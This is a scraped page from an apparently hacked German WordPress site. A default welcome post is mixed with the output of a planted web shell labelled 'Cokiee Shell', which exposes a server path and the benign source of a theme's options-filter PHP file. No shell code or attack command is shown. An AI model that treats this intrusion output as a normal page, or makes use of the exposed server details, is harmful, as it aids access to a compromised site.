Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web284/html/wp-content/themes/splendor/admin/functions/ |
Current File : //var/www/web284/html/wp-content/themes/splendor/admin/functions/functions.filters.php |
<?php /** * SMOF Option filters * * @package WordPress * @subpackage SMOF * @since 1.4.0 * @author Jonah Dahlquist */ /** * Filter URLs from uploaded media fields and replaces them with keywords. * This is to keep from storing the site URL in the database to make * migrations easier. * * @since 1.4.0 * @param $data Options array * @return array */ function of_filter_save_media_upload($data) { foreach ($data as $key => $value) { if (is_string($value)) { $data[$key] = str_replace( array( site_url('', 'http'), site_url('', 'https'), ), array( '[site_url]', '[site_url_secure]', ), $value ); } } return $data; } add_filter('of_options_before_save', 'of_filter_save_media_upload'); /** * Filter URLs from uploaded media fields and replaces the site URL keywords * with the actual site URL. * * @since 1.4.0 * @param $data Options array * @return array */ function of_filter_load_media_upload($data) { if(is_array($data) && count($data)>0){ foreach ($data as $key => $value) { if (is_string($value)) { $data[$key] = str_replace( array( '[site_url]', '[site_url_secure]', ), array( site_url('', 'http'), site_url('', 'https'), ), $value ); } } }else{ $data = array(); } return $data; } add_filter('of_options_after_load', 'of_filter_load_media_upload');
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare